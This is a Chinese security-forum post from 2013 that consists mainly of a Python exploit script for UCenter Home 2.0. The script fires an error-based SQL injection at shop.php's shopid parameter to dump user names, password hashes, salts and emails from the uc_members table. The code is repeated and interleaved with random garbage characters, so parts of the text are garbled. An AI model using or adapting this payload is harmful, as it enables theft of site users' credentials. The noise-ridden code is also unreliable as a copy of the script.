找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1964|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
$ f. D1 J8 _" x$ v& x6 [) P! R  x - V4 Y, F7 A- D# p5 W1 y3 j7 l+ P
, q% `  O8 Z3 Y; y  v
#!/usr/bin/env python  
& v9 s6 v0 ?. C0 G& s5 J7 \$ C  Q
# @/ A: I, K' R2 }- n; k6 @( s! U  Limport sys  8 y# d# ^1 c# D5 P4 b- j& w( y4 X8 X8 f
import urllib2  
. r1 D1 k3 w- u9 e* nimport re  
( O6 R3 N+ C3 h+ ^: Z, J, s0 W
, h% `) I+ @$ Y6 edef info():  3 }- {, p6 z/ p% M/ F: @4 \8 p3 c: Y
    print 'From:http://www.exploit-db.com/exploits/14997/'
7 W. c# C+ X; l    print 'http://www.hake.cc/Web_loudong/'
/ ?2 g7 O2 R1 ]1 j$ c    print 'changed:qiaoy'  ' }- i' D. f) E1 l
    print 'exp:'  # f  p8 V3 |. T) w- T
    print ' ./UCenter_Home_2.0.py site'  " v/ C" x8 h5 I5 u! \: y1 n

; ]9 u2 [, |6 ^- F5 m. X  Q/ Fdef main():  : f0 Z/ k! _3 h4 M& ~
    if len(sys.argv) != 2:  4 g" V; k2 p! i& V1 w: ]8 H
        info()  
! D3 L* l+ e/ W- @    else:  
' z+ s7 P0 w6 u% _$ l. o        site = sys.argv[1]  
) {1 O. V6 l5 ~0 \9 x3 H9 y  p3 H# d        if site[0:7] == 'http://':  . m* a6 j$ x+ j& B! b) Q
            sitesite =site  
( _* F7 a+ S  m. x- T: f3 H  Q: ]        elif site[0:8] == 'https://':  
% Q9 I. u; Q2 W) s" G            sitesite = site  
3 u  a) G1 W' M; M; z        else:  7 L  Q- C' x8 \& f0 r; M( u& W' P
            site = 'http://'+site  8 h! m9 r3 B& H, r
        try:  1 [7 m3 b6 ~5 F0 ]6 S0 j
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  3 ^* g: d2 p0 u
            Value = urllib2.urlopen(url).read()  
( B  D; L+ E9 }5 r+ r9 H9 k            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
, H" {0 f" D* ~$ d1 D4 j- Y2 D            hacked = Msg.split(':')  
5 G& ?+ V% O% L- ?7 Z            print 'Name:    '+hacked[1]  , k( b5 w- {  K' E4 g
            print 'Passwd:  '+hacked[2]  ; s* C4 `2 Q, s$ o
            print 'salt:    '+hacked[3]  , Q5 ^" a  N+ W7 D: h1 U6 z
            print 'email:   '+hacked[4]  
' }1 e* _! k! a$ f0 M: y, k* O7 u        except:  ! [9 w5 [; C: U/ a/ L6 V8 t
            print 'Sorry,I can\'t work............'  ! y# f2 i6 P' p

0 ~- ~# e0 r* uif __name__ == '__main__':  
7 f( @& y8 x7 ?5 e    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表